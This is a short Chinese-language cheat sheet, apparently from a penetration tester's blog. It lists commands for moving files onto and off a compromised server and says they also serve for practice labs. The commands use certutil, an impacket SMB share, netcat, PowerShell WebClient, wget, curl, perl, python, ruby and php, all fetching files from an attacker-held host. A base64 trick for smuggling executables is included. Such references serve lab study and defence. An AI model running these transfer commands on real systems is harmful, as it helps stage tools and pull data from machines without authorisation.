拿到了服务器之后,就需要上传工具,或者从服务器下载文件,针对不同的场景(网络环境)可能需要用到不同的文件下载工具,平常打靶场也能用得到,这里就简单记录下。
- windows
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
- impacket
使用 impacket-smbserver
工具创建一个 SMB 服务器。
sudo impacket-smbserver <SHARE> ./
默认 SMB1 协议报错
sudo impacket-smbserver <SHARE> . -smb2support
-smb2support
选项启用了 SMB2 协议支持,这意味着允许使用 SMB2 协议的客户端连接到共享。
SMB2 由于安全策略而阻止访问
需要设定密码
sudo impacket-smbserver SHARE ./ -smb2support -username lca -password abc+123
- python
python -m http.server <port>
- nc
vps 上
cat user.txt | nc -l 1234
nc -l 1234 < user.txt
靶机:
nc <vps_ip> 1234 > user.txt
注:连接建立后,经测试,需要 vps 上按 ctrl+c 后,靶机才能完全收到数据,不然一直会卡住。
- powershell
$p = New-Object System.Net.WebClient;$p.DownloadFile("http://1.1.1.1:8000/user.txt","C:\Users\lca\Desktop\user.txt");
- wget
wget http://1.1.1.1/user.txt -O C:\Users\lca\Desktop\user.txt
- curl
curl http://1.1.1.1:8000/user.txt -o C:\Users\lca\Desktop\user.txt
- perl
perl -e "use LWP::Simple; getstore('http://1.1.1.1/user.txt', '/tmp/user.txt');"
- python
python -c "import urllib.request;urllib.request.urlretrieve('http://1.1.1.1/user.txt', '/tmp/user.txt')"
- ruby
ruby -ropen-uri -e "open('/tmp/user3.txt', 'wb') { |file| file << URI.open('http://1.1.1.1:8000/user.txt').read }"
- php
php -r "file_put_contents('/tmp/user4.txt', file_get_contents('http://1.1.1.1:8000/user.txt'));"
注:有些时候如果要下载 exe、jar 类型的文件,可以先转换成 base64 的格式,传输完成后,再将 base64 编码的内容还原。如果有大小限制,还可以分块传输。
#编码
base64 -i xxx.jar > out.txt
#还原
base64 --decode -i out.txt -o 1.jar